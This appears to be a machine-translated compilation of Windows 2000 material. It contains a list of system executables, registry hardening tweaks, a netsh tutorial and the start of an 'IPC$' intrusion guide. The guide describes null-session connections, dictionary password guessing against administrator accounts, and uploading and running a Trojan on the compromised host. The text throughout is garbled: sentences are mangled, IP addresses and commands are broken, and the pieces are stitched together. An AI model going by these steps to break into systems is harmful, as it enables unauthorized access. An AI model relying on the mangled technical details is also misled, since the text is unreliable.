faxsend. . Exe> Fax Wizard for sending faxes send fax wizard. .
Faxsvc. fax server Starts .exe > to start the fax service.
fc. . Exe> Compares two files or sets of files and their differences to compare two different files. .
> Searches find. .exe for text string in a file or files to find line of text in the file.
findstr. . Exe> Searches for strings in files Find lines in the file. .
> Fingers finger. .exe and displays a user statistics on that user Finger a user and display the results.
fixmapi. . Exe> Fix mapi files fix MAPI file. .
Flattemp. Enable or disable .exe > temporally directories allow or disable the use of temporary files directory.
fontview. . Exe> Display fonts in a font file shows the font file fonts. .
forcedos。.exe > Forces a file to start in dos mode。. Force the file to run in DOS mode.
freecell. . Exe> Popular Windows Game FreeCell. .
> Ftp File Transfer .exe. Protocol used to transfer files over a network connection is FTP.
gdi. . Exe> Graphic Device Interface GUI-driven. .
grovel。.exe > 。.
grpconv. . Exe> Program Manager Group Convertor conversion program administrators group. .
> Displays help. .exe for Windows 2000 commands help displays help.
hostname. . Exe> Display hostname for machine. . Show machine Hostname. .
Ie4uinit. .exe > Install IE5 User tool IE5 users to install tools.
ieshwiz. . Exe> Customize folder wizard Custom Folder Wizard. .
Iexpress. .exe setup > Create and install packages for wear parts installation package.
iisreset. . Exe> Restart IIS Admin Service restart the IIS service. .
Internat. Language .exe > Keyboard Indicator Applet keyboard language indicator.
ipconfig. . Exe> Windows 2000 IP configuration. . This IP configuration. .
Ipsecmon. .exe > IP Security Monitor IP Security Monitor.
ipxroute. . Exe> IPX Routing and Source Routing Control Program IPX routing and source routing control procedures. .
Irftp. FTP Setup .exe > wireless communication for wireless connection.
ismserv. . Exe> Intersite messaging Service to install or remove the Service Control Manager of the service. .
Jdbgmgr. .exe for java > Microsoft debugger 4 Java4 debugger.
jetconv. . Exe> Convert a Jet Engine Database conversion Jet Engine database. .
jetpack。.exe > Compact Jet Database。. Compressed Jet database.
jview. . Exe> Command-line loader for Java Java command line loader. .
Krnl386. > Core Component for .exe Windows 2000 core components of 2000.
label. . Exe> Change label for drives to change the drive label. .
lcwiz。.exe > License Compliance Wizard for local or remote systems。. License complies with the wizard.
ldifde. . Exe> LDIF cmd line manager LDIF Directory Exchange command line management. .
Licmgr. Terminal Server .exe > License Manager to manage Terminal Services license agreement.
lights. . Exe> display connection status lights show connection status. .
Llsmgr. Windows 2000 .exe > License Manager 2000 license management.
llssrv. . Exe> Start the license Server license server startup. .
lnkstub。.exe > 。.
locator. . Exe> RPC Locator remote positioning. .
Lodctr. perfmon counters > Load .exe call performance counts.
logoff. . Exe> Log current user off. . Cancellation of the user. .
Lpq. status of .exe > Displays a remote LPD queue display remote lpd print queue status display is sent to the server based on Unix printing tasks.
lpr. . Exe> Send a print job to a network printer. . Redirects print jobs to a printer on the network. Commonly used Unix client printer will print jobs sent to NT printing device connected to the printer server. .
Lsass. LSA and Executable .exe > Server DLL running LSA and Server DLL.
lserver. . Exe> Specifies the new DNS domain for the default server to specify a default DNS Server new domain. .
Macfile. .exe > Used for managing MACFILES MACFILES management.
magnify. . Exe> Used to magnify the current screen magnifier. .
Makecab. > MS Cabinet Maker .exe produced CAB file.
mdm. . Exe> Machine Debug Manager Machine Debug Manager. .
Mem. Display current .exe > Memory stats display memory status.
migpwd. . Exe> Migrate passwords. . Migration password. .
Mmc. Microsoft Management Console .exe > console.
mnmsrvc. . Exe> Netmeeting Remote Desktop Sharing NetMeeting Remote Desktop Sharing. .
mobsync。.exe > Manage Synchronization。. Synchronize Directory Manager.
mountvol. . Exe> Creates, deletes, or lists a volume mount point. . To create, delete, or list volume mount point. .
Mplay32. .exe > MS Media Player Media Player.
mpnotify. . Exe> Multiple Provider Notification application to provide more notified applications. .
mq1sync。.exe > 。.
mqbkup. . Exe> MS Message Queue Backup and Restore Utility message queue backup and recovery tools. .
Mqexchng. .exe Setup > Exchange Connector MSMQ message queue Exchange connection settings.
mqmig. . Exe> MSMQ Migration Utility message queue migration tool. .
mqsvc。.exe > ? 。.
mrinfo. . Exe> Multicast routing using SNMP multicast routing using SNMP. .
Mscdexnt. .exe > Installs MSCD (MS CD Extensions) installation MSCD.
msdtc. . Exe> Dynamic Transaction Controller Console dynamic transaction processing console. .
msg。.exe > Send a message to a user local or remote。. Send a message to a local or remote client.
mshta. . Exe> HTML Application HOST HTML application host. .
Msiexec. .exe Installer Starts Windows > start the Windows Installer Program.
mspaint. . Exe> Microsoft Paint drawing board. .
msswchx。.exe > 。.
mstask. . Exe> Task Schedule Program task schedule program. .
Mstinit. > Task scheduler setup .exe..
narrator. . Exe> Program will allow you to have a narrator for reading. . Microsoft Narrator. .
Nbtstat. .exe and protocol stats > Displays current TCP/IP connections using NBT using NBT (NetBIOS over TCP/IP) display protocol statistics and current TCP/IP connections.
nddeapir. . Exe> NDDE API Server side NDDE API server. .
> Net net. .exe Utility to see detailed usage/?.
net1. . Exe> Net Utility updated version from MS Net upgrade version. .
Netdde. .exe > Network DDE will install itself into the background to install its own in the background.
netsh. . Exe> Creates a shell for network information used to configure and monitor Windows 2000 command-line scripting interface. .
netstat。.exe > Displays current connections。. Display protocol statistics and current TCP/IP network connections.
nlsfunc. . Exe> Loads country-specific information for loading a particular country (region) information. Windows 2000 and MS-DOS subsystem do not use this command. Accept the command only for compatibility with MS-DOS file. .
Notepad. Windows 2000 .exe > Notepad Notepad Opens.
nslookup. . Exe> Displays information for DNS of the domain name system from the diagnostic tool shows (DNS) name server information. .
Ntbackup. Opens the .exe > NT Backup Utility-backup and recovery tools.
ntbooks. . Exe> Starts Windows Help Utility Help. .
Ntdsutil. .exe > maintenance of DB Performs the ADSI complete ADSI DB maintenance.
ntfrs. . Exe> NT File Replication Service NT File Replication Service. .
ntfrsupg。.exe > 。.
ntkrnlpa. . Exe> Kernel patch core patch. .
Ntoskrnl. .exe > Core at the heart of the NT Kernel KT..
ntsd. . Exe>. .
Ntvdm. Simulates a .exe > 16-bit Windows environment simulation of 16-bit Windows environment.
nw16. . Exe> Netware Redirector NetWare redirector. .
Nwscript. .exe to run scripts > runs netware Netware script.
odbcad32. . Exe> ODBC 32-bit Administrator 32 位 ODBC management. .
Odbcconf. > Configure ODBC driver .exe ' s and s data source ' from command line command line configuration of the ODBC driver and data source.
os2. . Exe> An OS / 2 Warp Server (os2 / o) OS / 2. .
os2srv。.exe > An OS/2 Warp Server OS/2 。.
os2ss. . Exe> An OS / 2 Warp Server OS / 2. .
Osk. .exe > On Screen Keyboard on-screen keyboard.
packager. . Exe> Windows 2000 Packager Manager Object Packager. .
Pathping. .exe > Combination of Ping and Tracert contains Ping and Tracert procedure.
pax. . Exe> is a POSIX program and path names used as arguments must be specified in POSIX format. . Use "file: / / C / Users / Default" instead of "C: \ USERS \ DEFAULT.." Start the portable archive exchange (Pax) utility. .
pentnt。.exe > Used to check the Pentium for the floating point division error。. Check the Pentium floating point error.
perfmon. . Exe> Starts Windows Performance Monitor Performance Monitor. .
Ping. Packet Internet Groper .exe > verify a connection to a remote computer.
posix. . Exe> Used for backward compatibility with Unix for compatible Unix. .
Print. Cmd .exe > line used to print files to print a text file or display the contents of the print queue.
progman. . Exe> Program manager Program Manager. .
proquota。.exe > Profile quota program 。.
psxss. . Exe> POSIX Subsystem Application Posix subsystem applications. .
qappsrv。.exe > Displays the available application terminal servers on the network 。.
Display terminals in the network server program available. .
Qprocess. Display information about .exe > local or remote processes on local or remote displays process information (Terminal Services).
query. . Exe> Query TERMSERVER user process and sessions inquiry process and dialogue. .
Quser. information about .exe > Display a user logged on to display login information (required Terminal Services).
qwinsta. . Exe> Display information about Terminal Sessions. . Display terminal services. .
Rasadmin. Start the .exe > remote access admin service start remote access service.
rasautou. . Exe> Creates a RAS connection to establish a RAS connection. .
Rasdial. Dial a .exe > connection dial-up connection.
rasphone. . Exe> Starts a RAS connection running RAS connection. .
rcp。.exe > Copies a file from and to a RCP service。. On a Windows 2000-based computer and the remote shell daemon running rshd systems copy the files.
rdpclip. . Exe> RdpClip allows you to copy and paste files between a terminal session and client console session. . And then the terminal and the local copy and paste files. .
Recover. information readable .exe > Recovers from a bad or defective disk from a bad or defective disk recovers readable information.
redir. . Exe> Starts the redirector service runs redirection service. .
Regedt32.32-bit register service .exe > 32-bit register service.
regini. . Exe> modify registry permissions from within a script with the script changes from registration. .
register。.exe > Register a program so it can have special execution characteristics。. Registration contains a special character of the program is running.
regsvc. . Exe>. .
regsvr32。.exe > Registers and unregister’s dll’s。. As to how and where it register’s them I dont know。. Register and the register the DLL.
regtrace. . Exe> Options to tune debug options for applications failing to dump trace statements. .
Trace settings.
regwiz. . Exe> Registration Wizard Registration Wizard. .
remrras。.exe > 。.
replace. . Exe> Replace files in the directory with the source replace the target file the same name files in the directory. .
.Exe > Reset reset. an active active portion of the section to reset.
rexec. . Exe> Runs commands on remote hosts running the REXEC service. . REXEC services running on remote computers run commands. rexec command before the specified command to verify the remote computer's user name, and only installed the TCP / IP protocol before they can use this command. .
risetup。.exe > Starts the Remote Installation Service Wizard。. Run the Remote Setup Wizard service.
route. . Exe> display or edit the current routing tables. . Control network routing table. .
Routemon. > no longer supported .exe is no longer supported!.
router. . Exe> Router software that runs either on a dedicated DOS or on an OS / 2 system. . Route software in DOS or OS / 2 system. .
Rsh. Runs commands > .exe on remote hosts running the RSH service running the RSH service to run commands on a remote computer.
rsm. . Exe> Mounts and configures remote system media media remote system configuration. .
Rsnotify. Remote storage notification .exe > recall remote storage notification echo.
rsvp. . Exe> Resource reservation protocol source reservation protocol. .
Runas. RUN a .exe > program as another user allows the user to specify a different permissions to run the tools and procedures.
rundll32. . Exe> Launches a 32-bit dll program start 32-bit DLL procedures. .
Runonce. > Causes a .exe program to run during startup, and then run the program in the start menu.
rwinsta. . Exe> Reset the session subsystem hardware and software to known initial values to reset the session subsystem hardware and software to the original value. .
Savedump. Does not write .exe > to e:\winnt\user. do not write User .dmp. .dmp.
scardsvr. . Exe> Smart Card resource management server child to card management server. .
schupgr。.exe > It will read the schema update files (。.ldf files) and upgrade the schema。. (Part of ADSI) read plan update files and update the plan.
secedit. . Exe> Starts Security Editor help automated security configuration management. .
Services > Controls all .exe. the services control all services.
sethc. . Exe> Set High Contrast - changes colours and display mode Logoff to set it back to normal settings and high contrast. .
Setreg. Shows the .exe > Software Publishing State Key Values display the software publishing State language.
setup. . Exe> GUI box prompts you to goto control panel to configure system components installation program (go to Control Panel). .
Setver. .exe Files > Set Version for MS-DOS subsystem is set to the version number of MS-DOS program report.
sfc. . Exe> System File Checker test and check system files for integrity System File Checker. .
Sfmprint. > Print Services .exe for Macintosh print Macintosh service.
sfmpsexe. . Exe>. .
sfmsvc。.exe > 。.
shadow. . Exe> Monitor another Terminal Services session. . Monitoring another server with a mid-session. .
> Windows .exe share. 2000 and MS-DOS subsystem do not use this command. Acceptance of the order is only compatible with MS-DOS files.
shmgrate. . Exe>. .
Shrpubw. > Create .exe and Share folders and shared folders.
sigverif. . Exe> File Signature Verification file signature verification. .
Skeys. .exe utility > Serial Keys serial number production tools.
smlogsvc. . Exe> Performance Logs and Alerts Performance Logs and Alerts. .
smss。.exe > 。.
sndrec32. . Exe> starts the Windows Sound Recorder Sound Recorder. .
Sndvol32. Display the .exe > current volume information display sound control information.
snmp. . Exe> Simple Network Management Protocol used for Network Mangement Simple Network Management Protocol. .
Snmptrap. .exe > Utility used with SNMP SNMP tool.
sol. . Exe> Windows Solitaire Game Solitaire. .
Sort. .exe files and Folders > Compares read input, sort the data and the results are written to the screen, files, and other devices.
SPOOLSV. . EXE> Part of the spooler service for printing print pool part of the service. .
sprestrt。.exe > 。.
srvmgr. . Exe> Starts the Windows Server Manager Server Manager. .
stimon。.exe > WDM StillImage- > Monitor 。.
stisvc. . Exe> WDM StillImage-> Service. .
Subst. > Associates a .exe path with a drive letter path with a drive letter.
svchost. . Exe> Svchost. . Exe is a generic host process name for services that are run from dynamic-link libraries (DLLs). . DLL winner process. .
syncapp。.exe > Creates Windows Briefcase。. Create a Windows package.
sysedit. . Exe> Opens Editor for 4 system files System Configuration Editor. .
Syskey. .exe and secure system > Encrypt database NT account database tools according to the group.
sysocmgr. . Exe> Windows 2000 Setup 2000 Setup. .
systray。.exe > Starts the systray in the lower right corner。. In low-privilege to run the systray.
taskman. . Exe> Task Manager Task Manager. .
Taskmgr. Starts the Windows .exe > 2000 Task Manager-task manager.
tcmsetup. . Exe> telephony client wizard to install telephone services to customers. .
Tcpsvcs. TCP Services .exe > TCP services.
exe> Telnet Utility used to connect to Telnet Server. .
> Terminal termsrv. .exe Server Terminal Services.
tftp. . Exe> Trivial FTP to transfer files to the TFTP service is running on remote computers or from the TFTP service is running on remote computers to transfer files. .
tftpd。.exe > Trivial FTP Daemon 。.
themes. . Exe> Change Windows Themes desktop themes. .
Tlntadmn. Telnet Server .exe > Telnet service management Administrator.
tlntsess. . Exe> Display the current Telnet Sessions Display the current Telnet session. .
> Start tlntsvr. .exe the Telnet Server to start the Telnet service.
tracert. . Exe> Trace a route to display paths will be included in the diagnostic utility of different survival time (TTL) value of the Internet Control Message Protocol (ICMP) echo packets sent to the target, to determine the route used to reach goals. .
Tsadmin. Terminal Server Administrator .exe > Terminal Services Manager.
tscon. . Exe> Attaches a user session to a terminal session. . Paste the user session to the terminal dialogue. .
Tsdiscon. > Disconnect a user .exe from a terminal session to disconnect a Terminal Services users.
tskill. . Exe> Kill a Terminal server process kill Terminal Services. .
tsprof。.exe > Used with Terminal Server to query results。. Use Terminal Services concluded that the results of the query.
tsshutdn. . Exe> Shutdown the system shut down the system. .
Unlodctr. Part of .exe > performance monitoring as part of the performance monitor.
upg351db. . Exe> Upgrade a jet database upgrade Jet database. .
UPS > ups. .exe service UPS services.
user. . Exe> Core Windows Service Windows core services. .
Userinit. Part of the .exe > winlogon Winlogon process part of the process.
usrmgr. . Exe> Start the windows user manager for domains Domain User Manager. .
utilman。.exe > This tool enables an administrator to designate which computers automatically open accessibility tools when Windows 2000 starts。. Specifies the start of 2000 opens automatically when the machine.
verifier. . Exe> Driver Verifier Manager Driver Verifier Manager. .
Vwipxspx. .exe > Loads IPX/SPX VDM call IPX/SPX VDM.
w32tm. . Exe> Windows Time Server Time Server. .
Wextract. > Used to extract .exe windows files unzip Windows files.
winchat. . Exe> Opens Windows Chat Windows open chat. .
Winhlp32. Windows .exe > Starts the Help System to run the help system.
winlogon. . Exe> Used as part of the logon process. . Logon part of the process. .
Winmine. windows .exe > Game dug mines.
winmsd. . Exe> Windows Diagnostic utility system information. .
> Wins wins. .exe Service Wins services.
winspool. . Exe> Print Routing Print routing. .
Winver. > Displays the .exe version of Windows display the current Windows version.
wizmgr. . Exe> Starts Windows Administration Wizards Windows Management Wizard. .
Wjview. .exe Command line > Java loader for calling a Java command line.
wowdeb. . Exe>. . For starters, the 32-bit APIs require that the WOWDEB. . EXE task runs in the target debugee's VM starts, the 32-bit API needs. .
Wowexec. .exe For Windows > Windows Applications running over your Windows applications to run on Windows.
wpnpinst. . Exe>?. .
Write. MS Write .exe > Program WordPad Starts.
wscript. . Exe> Windows Scripting Utility scripting tool. .
Wupdmgr. Starts the Windows .exe > update Wizard (Internet) run Windows Upgrade Wizard.
xcopy. . Exe> Used to copy directories to copy files and directories, including subdirectories. .
1. set the time to live.
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ Tcpip \ Parameters. .
DefaultTTL REG_DWORD 0-0xff (0-255 in decimal, the default value of 128).
Description: Specifies the outgoing IP packets to set the default time to live (TTL) value. TTL determines the IP packet in the network before reaching the target in the maximum time of survival. It actually limits the IP packets discarded by the router to allow the number of former. . Sometimes use this value to detect the remote host operating system. 2, to prevent ICMP redirect attack packets. .
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters 。.
EnableICMPRedirects REG_DWORD 0 × 0 (default value is 0 × 1). .
Description: this parameter controls whether Windows 2000 will change its routing table in response to a network device (such as a router) sends it by an ICMP redirect message, sometimes being used to do bad things. .Win2000 in the default value is 1, meaning that respond to the ICMP redirect message.
3, prohibits circular route to respond to ICMP packets. .
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Inter 。.
faces \ interface. .
PerformRouterDiscovery REG_DWORD 0 × 0 (the default value is 0 × 2).
Description: "ICMP routing announcement" feature can cause the computer's network connection to others abnormalities, the data is tapped, the computer was used for flow attack and other serious consequences. . This problem has resulted in some local area large campus network, a long period of network anomalies. Therefore the proposed closure notice to respond to ICMP packet routing. . Win2000 the default value of 2 indicates that when the DHCP sends the router discover option is enabled. .
4. prevent SYN flood attacks.
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ Tcpip \ Parameters. .
SynAttackProtect REG_DWORD 0 × 2 (the default value is 0 × 0).
Description: SYN attack protection, including reducing the number of SYN-ACK re-transmission, distribution of resources to reduce the retention time. Route cache entry delay the allocation of resources until the connection up. . If synattackprotect = 2, then the connection instructions AFD has been delayed to three-way handshake is completed. . Note that only TcpMaxHalfOpen and TcpMaxHalfOpenRetried set out of range, the protection measures will be taken. .
5, the prohibition of C $, D $, a kind of default share.
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ parameters. .
AutoShareServer、REG_DWORD、0×0 。.
6, against the default ADMIN $ share. .
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters 。.
AutoShareWks, REG_DWORD, 0 × 0. .
7. restrictions on the IPC $ share by default.
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Lsa. .
Restrictanonymous REG_DWORD 0 × 0 by default.
0 × 1 anonymous users can not list local user list. .
0 × 2 anonymous users cannot connect to a native IPC $ share.
Note: do not recommend the use of 2, it may cause some of the services you can not start, such as SQL Server. .
8, IGMP Protocol is not supported.
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ Tcpip \ Parameters. .
IGMPLevel REG_DWORD 0 × 0 (the default value is 0 × 2).
Description: The recall under Win9x has a bug, is to use so that others can use IGMP blue screen, modify the registry to fix this bug. . Win2000 although not this bug, but IGMP is not necessary, therefore, still can be removed. Route print later changed to 0 will not see that annoying 224. .0. .0. .0 Item was. .
9. set the ARP cache aging time settings.
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services: \ Tcpip \ Parameters. .
ArpCacheLife REG_DWORD 0-0xFFFFFFFF (seconds, the default value is 120 seconds).
ArpCacheMinReferencedLife REG_DWORD 0-0xFFFFFFFF (seconds, default is 600). .
Note: If the ArpCacheMinReferencedLife ArpCacheLife is greater than or equal to, then the reference or does not reference the ARP cache entry expires in ArpCacheLife seconds. If ArpCacheLife is smaller than the ArpCacheMinReferencedLife, does not reference the item expires in ArpCacheLife seconds, and the referenced item in the ArpCacheMinReferencedLife seconds after the maturity date. Each time a station to send packets to the IP address entries, ARP cache will be referenced item. .
10, the prohibition of dead gateway detection technology.
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services: \ Tcpip \ Parameters. .
EnableDeadGWDetect REG_DWORD 0 × 0 (the default value is ox1).
Note: If you set up multiple gateways, then your machine has difficulty dealing with multiple connections, it will automatically switch to a backup gateway. Sometimes this is not a good idea, proposed to prohibit dead gateway monitoring. .
11, do not support routing functionality.
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services: \ Tcpip \ Parameters. .
IPEnableRouter REG_DWORD 0 × 0 (the default value is 0 × 0).
Note: the value is set to 0 × 1 with Win2000 routing can thus cause unnecessary problems. .
12, doing NAT external amplification conversion port maximum.
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services: \ Tcpip \ Parameters. .
MaxUserPort REG_DWORD 5000-65534 (decimal) (the default value of 0 × 1388 – decimal is 5000).
Description: When an application requests from the system when the number of available user port, this parameter controls the maximum port number used. Under normal circumstances, short-term port allocation for the 1024-5000 amount. This parameter is set to the effective outside, they will use the closest valid value (5000 or 65 534). Suggested the value of using NAT to enlarge point. .
13, modify MAC address.
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Class \. .
Find the right window for the "NIC" directory.
Example is the (4D36E972-E325-11CE-BFC1-08002BE10318). .
Expand it, and under 0000, 0001, 0002 ... Branch found "DriverDesc" key for a description of your network connection, such as "DriverDesc" value is "Intel (R) 82559 Fast Ethernet LAN on Motherboard" and then in the right window of a new string value called "Networkaddress," content as you want, for instance, the MAC value is "004040404040" and then restart your computer, see ipconfig/all . .
Not long ago, we all want to live in the command line instead of the IP and gateway. Previously under implemented in NT4 together too much trouble, now under Windows 2000 the Netsh command to achieve this functionality.
Netsh is a local or remote computer network components of Windows 2000 command line and scripting utility. In order to archive or configure other servers, Netsh utility can also configure the script saved in a text file. .
Netsh utility is a shell that uses additional "Netsh help DLL" can support multiple Windows 2000 components. "Netsh help DLL" to monitor or configure a specific Windows 2000 networking components for other commands, which extends the functionality of Netsh. Each "Netsh help DLL" for the specific network component provides an environment and a set of commands. Each environment can have child environment. For example, in the routing environment, the environment exists in sub-Ip and Ipx, they will IP routing and IPX routing commands together. .
Netsh command-line options include the following:.
Usage: netsh [-a AliasFile] [-c Context] [-r RemoteMachine]. .
[Command | -f ScriptFile]。.
The following command works:. .
This context command:.
? - Display list of commands. .
Aaaa – change to the aaaa context would '.
add - add a configuration item to the project list. .
Delete – deleting a list of configuration items.
dhcp - Changes to `dhcp 'context. .
Dump 0 – displays a configuration script.
exec - run a script file. .
Help – displays a list of commands.
interface - Changes to the `interface 'context. .
Ras – change to the ras ' context would.
routing - change to the `routing 'context. .
Set – updated configuration settings.
show - display information. .
Changes to wins – would wins ' context.
The following sub-contexts are available:. .
routing interface ras dhcp wins aaaa。.
If you need more help with an order, please type the command. .
Followed by?.
-A AliasFile. .
Specifies the use of an alias file. Alias file contains the netsh command list and an alias version, so you can use the alias replaces the netsh command on the command line. You can use the alias file to other platforms in more familiar commands mapped to the appropriate netsh commands.
-C Context. .
Specifies that correspond to installed support dll command environment.
Command. .
Specifies the netsh command to be executed.
-F ScriptFile. .
ScriptFile file specified to run all of the netsh command.
-R RemoteMachine. .
Specifies the remote computer on which to run the netsh command, by name or IP address to specify the remote computer.
You can clear the command abbreviation for the significance of the shortest string. For example, the equivalent command sh ip int release issued show ip interface. Netsh commands can be global or specific environment. Global commands can be issued in any environment, and for general Netsh utility function. Command with the environment, specific environmental change. You can order the release recorded in the log file to create the audit trail netsh command session. .
Lists the netsh global commands.
Command description. .
Move up one level.
? Or help Display command-line "help." .
Show version of the Windows and the Netsh utility's current version.
show netdlls display installed "Netsh Help DLL" in the current version. .
Add Add a Netsh helper DLL "help."
delete helper delete "Netsh Help DLL". .
Show display installed helper "Netsh help DLL.".
cmd to create Windows 2000 command window. .
Online sets the current mode to online.
offline Sets the current mode to offline. .
Set mode sets the current mode to online or offline.
show mode displays the current mode. .
Flush discards in offline mode and any changes made.
commit to submit to offline mode changes. .
Turn on or off the set audit-logging logging tools.
show audit-logging shows the current audit log settings. .
Set loglevel setting the level of logging information.
show loglevel shows the level of recording information. .
Set machine configuration to perform the Netsh command computer.
show machine netsh command shows the implementation of the computer. .
Exec Execute the Netsh command script file.
quit or bye or exit exit Netsh utility. .
Add alias alias to an existing command.
delete alias command to delete the existing alias. .
Show alias displays all defined aliases.
dump will write the text file configuration. .
Popd is popped from the stack environment script commands.
pushd the current environment into the stack of script commands. .
Netsh utility has the following command:.
Online. .
Online mode, at the Netsh command prompt to publish command is executed immediately.
Offline. .
Offline mode, it will accumulate the Netsh command prompt, and publishing of commands by issuing commit global command to execute the batch mode. You can publish the flush global command to discard accumulated commands.
Script. .
Use the-f command line option, or at the Netsh command prompt publishing exec global commands, you can perform the specified file in all of the netsh command.
To create the current configuration of the script, please use the dump global command. dump command netsh command output according to the currently running configuration. You can use this command to create a script to configure the new server or reconfigure existing servers. If you want to configure the components to make great changes, use the dump command is recommended that you start configuring the session to prevent the need to restore the configuration before making changes. .
Interface command.
The following table lists in Windows 2000 command prompt, type the netsh commands used to manage running Windows 2000 Server and "Routing and Remote Access" service interface settings on the computer. If there are multiple commands a particular function, then in between each command with a slash (/) separated. .
When at the command prompt, type the command, click in each command with netsh. To obtain accurate each command syntax, type the following at the command line. Options for example, to obtain the netsh interface command in the command line "help", at the command prompt, type netsh interface?.
Command description. .
Interface set/show interface enabled, disabled, connect, disconnect, and display the configuration for demand-dial interface.
interface set / show credentials in the demand-dial interface to configure or display the user name, password and domain name. .
Closer to home, now let's take a look at the network settings under WIN2000. D:\>netsh 。.
netsh> interface. .
interface>dump 。.
#========================. .
# Interface configuration.
#========================. .
pushd interface。.
reset all. .
popd 。.
# Interface to configure the end. .
# ———————————- 。.
# Interface IP Configuration. .
# ———————————- 。.
pushd interface ip. .
# "Local area connection 2 interface IP configuration.
set address name = "Local Area Connection 2" source = dhcp. .
Set dns name = "local area connection 2" source = dhcp.
set wins name = "Local Area Connection 2" source = dhcp. .
# "Local area connection interface IP configuration".
set address name = "Local Area Connection" source = static addr = 192. .168. .1. .10 Mask = 255. .255. .255. .0. .
Set address name = "local area connection" gateway = 192. .168. .0.1 gwmetric = .1.
set dns name = "Local Area Connection" source = static addr = 192. .168. .0. .1. .
Set wins name = "local area connection" source = static addr = none.
popd. .
# Interface IP configuration is finished.
If you want to quickly modify a local IP address. .
You can use the contents of the text is written to the following:.
interface ip. .
Set static address local connections. 192. .5 .10 .168.255. .255. .255.192. .0 .0 .1 .168.. 1.
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^. .
Interface name IP address netmask gateway interface metric.
As is saved as local. . Sh. .
D:\>netsh exec local。.sh。.
IPC $ command Xiangjie:. .
Online on ipc $ invasion is an over-abundance of articles, but there are some excellent work, attack steps can even be said has already become a classic mode, so no one is willing to put this has become a set of items with.
That having been said, but I personally think that these articles do not explain the details, first contact ipc $ for a rookie, the simple steps listed, and can not answer many of their confusion (you talk about looking for a hack ipc Forum Search to see how much confusion exists). .
So I wrote this article corresponds to the interpretation of the tutorial. want to get some confused, easily confused people problem clearly, so that we don't always wandering in situ! if you have seen this post still have questions, please send!..
Second, what is ipc $. .
IPC $ (Internet Process Connection) is a shared "named pipes" (you say), which is to enable inter-process communication and open the named pipe, you can verify your user name and password to obtain the appropriate permission, in the remote management computer and view a computer's shared resources when you use.
Use IPC $, who can even connect with the target host to establish the connection without the need for an empty user name and password (of course, the other machine must be opened ipc $ share, or you are not on the connection), while the use of the empty link, connections are also available on the target host user list (although the administrator will be responsible for the ban to export the user list). .
We always say that ipc $ ipc $ loophole loopholes, in fact, ipc $, and is not a real sense of vulnerability, it is for the convenience of the administrator of the remote administration and open the remote network login functionality, but also to open the default share that all logical disk (c $, d $, e $ ...), and winnt or windows system directory (admin $).
All of these, mind and are for the convenience of the administrator's management, but not necessarily a good mind and good results, some people with ulterior motives (in the end what is their intention? I do not know, pronouns 1) will use IPC $, access to shared resources, export user list, and use some dictionary tools for password detection, a higher authority hopes to achieve ulterior motives. .
Interpretation:.
1) IPC Connect is the Windows NT and above systems in remote network access features specific to its function in the equivalent of Unix Telnet, as IPC $ functions need to use Windows NT in a lot of DLL functions, so you can not Windows 9. . X run. .
That is only the nt/2000/xp only ipc $ connection can be established, 98/me is unable to establish connection to the ipc $ (but some friends in Win98 connection cannot be established, empty do not know is true or false, but now in 2003, recommendation 98 comrades, and change the system 98 bad mood).
2) Even the air connection is not 100% able to build a successful, if the other side closed the ipc $ share, you still can not establish a connection. .
3) is not to say that the established ipc $ connection can view each other's user list, because administrators can export the list of users is prohibited.
3 ipc $ connection established role in the hack attack. .
As described above, even if you create a blank connection, you can get a lot of information (and this information is often essential in invasion), the access portion of the share, if you can take one of the privileged user login, then you'll get the appropriate permissions, it is clear that if you login as administrator, 嘿嘿, wouldn't I say now, what u want u can do that!! 。.
(Basically can be summed up as the target information, processes and services, management objectives, upload and run the Trojan, if 2000server, open the Terminal Services can also be considered to facilitate control.. How like? Enough great!). .
But you also do not start, because the Administrator's password is not so good to get in, although there will be some silly administrators use a blank password or mentally retarded password, but this is, after all, not the minority, but now than before, as the people's safety awareness, administrator who has become even more careful, have the administrator password will become more and more difficult: (.
Therefore, you most likely future is to little or no permissions to the permissions to connect, you will slowly find ipc $ connection is not a panacea, even in the host does not open the ipc $ share, you simply can not connect. .
So I think that you don't put the ipc $ invasion as the ultimate weapon, don't think it invincible, which is like a football ball before shooting, very few will have the effect of the fatal blow, but indispensable, I think this is the ipc $ connection in hack intrusion in..
4 ipc $ and air connections, 139,445 ports, the default sharing relationship. .
The four relations may be confused by a rookie, however the majority of articles are no special instructions, in fact, my understanding is not very thorough, are in share summed. (A good discussion atmosphere of BBS can be said to be Rookie of heaven).
1) ipc $ and air connection:. .
Does not require a user name and password of ipc $ connection is empty, once you connect to a user or administrator login (that is, to a specific user name and password for ipc $ connection), nature cannot be called a null connection.
Many people may ask, since you can air connection, then I'll empty connected, why spend tremendous efforts to scan weak passwords, Oh, the reasons mentioned earlier, when you connect to an empty landing When you do not have any permissions (very depressed right), and you the user or administrator login, you will have the appropriate permissions (with rights who do not want to Yeah, they still scan it honestly, do not get lazy yo) . .
2) ipc $ and 139,445 port:.
ipc $ connection can remote login and access the default share; and 139 netbios port open that application of the agreement, we can 139,445 (win2000) port to achieve the shared file / printer access, so generally speaking, ipc $ connection need 139 or 445 ports to support. .
3) ipc $ and default share.
The default share is to facilitate remote management of the default administrator to open the share (of course you can close it), that all of the logical drive (c $, d $, e $ ... ...) and the system directory winnt or windows (admin $), We can be achieved through the ipc $ connection sharing on these default access (provided that the other party does not close the default share). .
Five ipc $ connection failure.
The following five reasons are more common:. .
1) your system is not a NT or higher operating system;.
2) the other party does not open ipc $ default share. .
3) other unopened 139 or 445 port (to be firewall shielding).
